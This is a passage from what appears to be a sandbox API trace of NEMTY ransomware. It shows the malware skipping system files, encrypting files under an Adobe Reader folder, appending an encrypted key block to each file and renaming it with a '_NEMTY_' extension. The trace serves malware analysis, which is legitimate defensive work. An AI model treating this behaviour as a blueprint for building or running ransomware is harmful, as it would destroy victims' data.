10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf._nemty_kgobjgd_")) returned 1 [0187.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0187.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.690] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb7dc, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0187.690] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0187.691] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0187.691] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.691] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0187.691] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0187.691] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0187.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0187.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0187.691] Sleep (dwMilliseconds=0x5) [0187.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2385e4b0, dwHighDateTime=0x1d561e8)) [0187.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2385e4b0, dwHighDateTime=0x1d561e8)) [0187.697] GetLastError () returned 0x0 [0187.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.697] GetLastError () returned 0x0 [0187.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.697] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.697] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.697] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0187.698] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="1Lzi/kCKLlNOaeHrvSIyFFZDdHwp9dbUZspGHc6YCcfmO9dG/KJFqBwwJLjsUVYv\r\nPfgUv3RJoKIPpWdP5WHgN3ErS2cwOtgeqCHFMp5/GnxFgftKLf2veVeqhBK90gYM\r\nmtHTYeyVjA8nVdDSSI/oIe3dNfQLib/NuykFDk2paQJs7wa412QTSdCYU0M33UQh\r\nNprKxASxGE+d9EKuQiiAuuGrE4q3G7IooLaHVielCRt2lT4Z+dTMEFfNsKfCGiCt\r\n1X0bN4xm3m8aUNXgk28qKslz4XRIJXRgkEuLm3hmi1MDbKarUv+j5MYtbY5/2SK0\r\n1Ec05w0yzLlWZ/SRSSRVLg==\r\n", pcchString=0x653df5c) returned 1 [0187.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0187.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.698] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.698] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=47068) returned 1 [0187.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb7d0) returned 0x6352c48 [0187.698] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.698] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb7d0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb7d0, lpOverlapped=0x0) returned 1 [0187.742] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.742] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb7d0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb7d0, lpOverlapped=0x0) returned 1 [0187.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.742] SetFilePointer (in: hFile=0x320, lDistanceToMove=47068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb7dc [0187.742] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.742] CloseHandle (hObject=0x320) returned 1 [0187.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0187.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0187.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.742] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.742] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0187.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0187.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0187.743] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5274b, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0187.743] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.744] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0187.744] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0187.744] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0187.744] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0187.744] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.744] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0187.744] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0187.744] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0187.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0187.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0187.744] Sleep (dwMilliseconds=0x5) [0187.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x238f6a30, dwHighDateTime=0x1d561e8)) [0187.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x238f6a30, dwHighDateTime=0x1d561e8)) [0187.765] GetLastError () returned 0x0 [0187.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.765] GetLastError () returned 0x0 [0187.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.766] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0187.766] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="3tE+kfP7aBwmi2iDAqoZ8NnX1dCItPTr8STzrRoPBnXmY59aFPXR6MKYmnzZ4Y2J\r\niKRKvdbDluuU17/P1WGuE/169E6rk8wYtSp9z1sTQNPH8N4/jmLEDqx4lq8DhTQH\r\nJQ2qmYpVSDRnmXf/xbMqzTOOKNlv7vQxr0NMpeftVysCCfIqgNwNAEQUoqmdn+pz\r\n0ffq+kHsm+rHtGCNwoWFT7vs/QSkjusX6Yb1Sok6yDmUC6sBruLDla2DOgSOUzZ6\r\na0sX5zCw32kGUZhT66MoMSLZXFxayZcZZDL2IkpBlAO4+Zx3JbQ+56gz9Xjq7yxA\r\nitaGtFmO/vWP+fe9QedH1Q==\r\n", pcchString=0x653df5c) returned 1 [0187.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0187.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.766] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.766] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=337739) returned 1 [0187.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0187.767] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.767] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0187.791] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.791] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0187.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.792] SetFilePointer (in: hFile=0x320, lDistanceToMove=337739, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5274b [0187.792] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.794] CloseHandle (hObject=0x320) returned 1 [0187.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0187.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 